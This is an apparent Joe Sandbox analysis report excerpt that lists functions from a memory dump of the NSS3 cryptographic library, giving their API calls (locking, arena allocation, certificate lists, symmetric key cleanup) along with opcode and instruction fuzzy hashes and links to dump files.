Part of subcall function 6CEC3440: EnterCriticalSection.KERNEL32(?), ref: 6CEC3542
Part of subcall function 6CEC3440: PR_Unlock.NSS3(?), ref: 6CEC355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CEAE80C,00000000,00000000,?,?,?,?,6CEB8C5B,-00000001), ref: 6CEC3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CEAE80C,00000000,00000000,?,?,?,?,6CEB8C5B,-00000001), ref: 6CEC3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CEAE80C,00000000,00000000,?,?,?,?,6CEB8C5B,-00000001), ref: 6CEC3FFE
PR_SetError.NSS3 ref: 6CEC401A

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: f5f25bb7d87b2e62c9d2ad614ad4c331c94e00490e4a0c708f6a6bda945e58e3
Instruction ID: 1881a19d4109958fcd593e4da0c46f9e9b826a72776693237b26cccffcdbcfeb
Opcode Fuzzy Hash: f5f25bb7d87b2e62c9d2ad614ad4c331c94e00490e4a0c708f6a6bda945e58e3
Instruction Fuzzy Hash: A4318170A047048FD710AF69D1852BABBF0FF85318F11592ED8998BB00EB34E985CB92

Function 6CEE2880 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

NSS_CMSEncoder_Finish.NSS3(?), ref: 6CEE2896
NSS_CMSEncoder_Finish.NSS3(?), ref: 6CEE2932
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEE294C
free.MOZGLUE(?), ref: 6CEE2955

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Encoder_Finish$Arena_FreeUtilfree
String ID:
API String ID: 508480814-0
Opcode ID: c7dc22766332f60e9c1d65c518b1844100329c4e28a057b1e7c8ab5733523aa1
Instruction ID: 60456665818fb0db1e41f4f8a5fb441cd37a05a7390f43788c2138055436adbe
Opcode Fuzzy Hash: c7dc22766332f60e9c1d65c518b1844100329c4e28a057b1e7c8ab5733523aa1
Instruction Fuzzy Hash: F121E2B6A006019BE7108F2AEC49F4377F9AF9839CF24053CE44A87B60FB72E4188655

Function 6CF1A8F0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CF02AE9,00000000,0000065C), ref: 6CF1A91D

Part of subcall function 6CEBADC0: TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE10
Part of subcall function 6CEBADC0: EnterCriticalSection.KERNEL32(?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE24
Part of subcall function 6CEBADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE9D079,00000000,00000001), ref: 6CEBAE5A
Part of subcall function 6CEBADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE6F
Part of subcall function 6CEBADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAE7F
Part of subcall function 6CEBADC0: TlsGetValue.KERNEL32(?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEB1
Part of subcall function 6CEBADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE9CDBB,?,6CE9D079,00000000,00000001), ref: 6CEBAEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CF02AE9,00000000,0000065C), ref: 6CF1A934
SECITEM_ZfreeItem_Util.NSS3(00068C9A,00000000,00000000,00000000,?,?,6CF02AE9,00000000,0000065C), ref: 6CF1A949
free.MOZGLUE(00068C86,00000000,0000065C), ref: 6CF1A952

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: d0e75b20940e44dc851e39c9ff80ca6f62e7d39d97101587faa72b30c79674d6
Instruction ID: 2500afc5604aaff2c6d0d493b88dbd38d37fa259a6a05afac5d228dc6d22d09f
Opcode Fuzzy Hash: d0e75b20940e44dc851e39c9ff80ca6f62e7d39d97101587faa72b30c79674d6
Instruction Fuzzy Hash: A7316BB46052019FDB04CF18D980E62B7F8FF48358B1581A9E8098FB56E730E944CFA1

Function 6CEB4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CEBB60F,00000000), ref: 6CEB5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CEBB60F,00000000), ref: 6CEB501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CEBB60F,00000000), ref: 6CEB504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CEBB60F,00000000), ref: 6CEB5064

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 38225d68471997d0a7f91824fb05834c74cb0a19d4b7e6cf4626ff9771826640
Instruction ID: 7282e47d7df1ac27c4eb9e7cc46b942fc620d95fe5f94bdd53eb8dfbb08b4b92
Opcode Fuzzy Hash: 38225d68471997d0a7f91824fb05834c74cb0a19d4b7e6cf4626ff9771826640
Instruction Fuzzy Hash: C83108B4A05606CFDB40EF68C58466ABBF4FF09308F258569E859E7701E730E994CBD1

Function 6CED9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CEDA71A,FFFFFFFF,?,?), ref: 6CED9FAB

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CEDA71A,6CEDA71A,00000000), ref: 6CED9FD9

Part of subcall function 6CED1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED136A
Part of subcall function 6CED1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED137E
Part of subcall function 6CED1340: PL_ArenaGrow.NSS3(?,6CE6F599,?,00000000,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?), ref: 6CED13CF
Part of subcall function 6CED1340: PR_Unlock.NSS3(?,?,6CE7895A,00000000,?,00000000,?,00000000,?,00000000,?,6CE6F599,?,00000000), ref: 6CED145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CEDA71A,6CEDA71A,00000000), ref: 6CEDA009
PR_SetError.NSS3(FFFFE013,00000000,6CEDA71A,6CEDA71A,00000000), ref: 6CEDA045

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: fced6885d46a44b0a96e1e9e40d4ecbdb4289777fbb72c5915bcaa731a7a0f4d
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 4521B3B56002069FE7009F55DC50F66B7B9BB4536CF22812CD81987B81EB76F916CB90

Function 6CEE2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEE2E08

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CEE2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CEE2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CEE2E95

Part of subcall function 6CED1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE788A4,00000000,00000000), ref: 6CED1228
Part of subcall function 6CED1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CED1238
Part of subcall function 6CED1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CE788A4,00000000,00000000), ref: 6CED124B
Part of subcall function 6CED1200: PR_CallOnce.NSS3(6CFD2AA4,6CED12D0,00000000,00000000,00000000,?,6CE788A4,00000000,00000000), ref: 6CED125D
Part of subcall function 6CED1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CED126F
Part of subcall function 6CED1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CED1280
Part of subcall function 6CED1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CED128E
Part of subcall function 6CED1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CED129A
Part of subcall function 6CED1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CED12A1

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 0e67d4e7148652b0157febd635058e7e395ff4851f41e281afda4e8dfad2002c
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: 56213BB1D003564BEB01CF949D447AA3774AFA538CF360269DD085B752F7B2E588C392

Function 6CE9ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CE9ACC2

Part of subcall function 6CE72F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CE72F0A
Part of subcall function 6CE72F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE72F1D

Part of subcall function 6CE72AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CE70A1B,00000000), ref: 6CE72AF0
Part of subcall function 6CE72AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE72B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CE9AD5E

Part of subcall function 6CEB57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CE7B41E,00000000,00000000,?,00000000,?,6CE7B41E,00000000,00000000,00000001,?), ref: 6CEB57E0
Part of subcall function 6CEB57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CEB5843

CERT_DestroyCertList.NSS3(?), ref: 6CE9AD36

Part of subcall function 6CE72F50: CERT_DestroyCertificate.NSS3(?), ref: 6CE72F65
Part of subcall function 6CE72F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE72F83

free.MOZGLUE(?), ref: 6CE9AD4F

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: c54dc59860bb6d58457a0f88cf732fcde4c5cc0d4fa7a757f87a55ef3c0b184b
Instruction ID: 93196895f2bea215add2c96c36378fa15a511bceb417dc57b667d642408b67aa
Opcode Fuzzy Hash: c54dc59860bb6d58457a0f88cf732fcde4c5cc0d4fa7a757f87a55ef3c0b184b
Instruction Fuzzy Hash: DA21A2B1D012189BEB10DF65D9065EEB7B4EF1521CF254068D809BB710FB31AA59CBE1

Function 6CEC3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEC3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CEC3CAE
PR_Unlock.NSS3(?), ref: 6CEC3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CEC3D02

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: ec310e6d1e85342c686b0e9024425448e52d434cde0419d26cfeb03e3e4e599b
Instruction ID: 7cc1bfaf57a23b061dab1fe7c35b9a6918968b7ba89772e09e56d84d24538974
Opcode Fuzzy Hash: ec310e6d1e85342c686b0e9024425448e52d434cde0419d26cfeb03e3e4e599b
Instruction Fuzzy Hash: 5A11AF79B10214AFDB40AF24D848EDA3B78EF09368F258064FC189B712E730ED548BE1

Function 6CECECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CECF0AD,6CECF150,?,6CECF150,?,?,?), ref: 6CECECBA

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CECECD1

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CECED02

Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CECED5A

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 7d178a60f2709f98c27c21d260feb2bb704d48652723dee6e3f312c0febc2187
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 2D21C2B1A01B425BE700CF25DA45B52BBF4AFA430CF25C219A81C87761E770E594C6D1

Function 6CEFEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CEE7FFA,?,6CEE9767,?,8B7874C0,0000A48E), ref: 6CEFEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CEE7FFA,?,6CEE9767,?,8B7874C0,0000A48E), ref: 6CEFEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CEE7FFA,?,6CEE9767,?,8B7874C0,0000A48E), ref: 6CEFEE14

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

memcpy.VCRUNTIME140(?,?,6CEE9767,00000000,00000000,6CEE7FFA,?,6CEE9767,?,8B7874C0,0000A48E), ref: 6CEFEE33

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 2edbc47db330eddab4c6bd08cc39d9ca1f102d7e8510c94f1851e14b7061d3c6
Instruction ID: 081fb1b264accdc406786447e5ed3cf901b25e7e9102234af30848f67c038027
Opcode Fuzzy Hash: 2edbc47db330eddab4c6bd08cc39d9ca1f102d7e8510c94f1851e14b7061d3c6
Instruction Fuzzy Hash: 36117775A05B06ABD7109E65EC84B467378EB0435DF344535E92987B40E331F45687E2

Function 6CE7DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CE906A0: TlsGetValue.KERNEL32 ref: 6CE906C2
Part of subcall function 6CE906A0: EnterCriticalSection.KERNEL32(?), ref: 6CE906D6
Part of subcall function 6CE906A0: PR_Unlock.NSS3 ref: 6CE906EB

CERT_NewCertList.NSS3 ref: 6CE7DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CE7DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE7DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE7E029

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 805a7458286b65ae9f55c96b57814e490d6dbffe1e6b0f46f98c0e3e658bf6e3
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: BB110871A04A06AFEB301EB95C48BEF76B8AB8135CF340538E91897B01E736D915D6F1

Function 6CEE08D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CEE09B3,0000001A,?), ref: 6CEE08E9

Part of subcall function 6CED0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED08B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CEE08FD

Part of subcall function 6CECFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEC8D2D,?,00000000,?), ref: 6CECFB85
Part of subcall function 6CECFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CECFBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6CEE0939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEE0953

Memory Dump Source

Source File: 00000001.00000002.1796074705.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000001.00000002.1796046354.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796360952.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796408034.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796439729.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1796469022.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cdf0000_file.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 63661d8043f13edad916d312606c569cb658a9a5e735acab9ca4d755494c7b12
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: C20104B1A0164A2BFB049E399C10B6737B89F8839CF20503DEC1AC6F01EF32E5149A91

Function 6CE98DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE98DE7
EnterCriticalSection.KERNEL32 ref: 6CE98DFC
PR_Unlock.NSS3 ref: 6CE98E2D
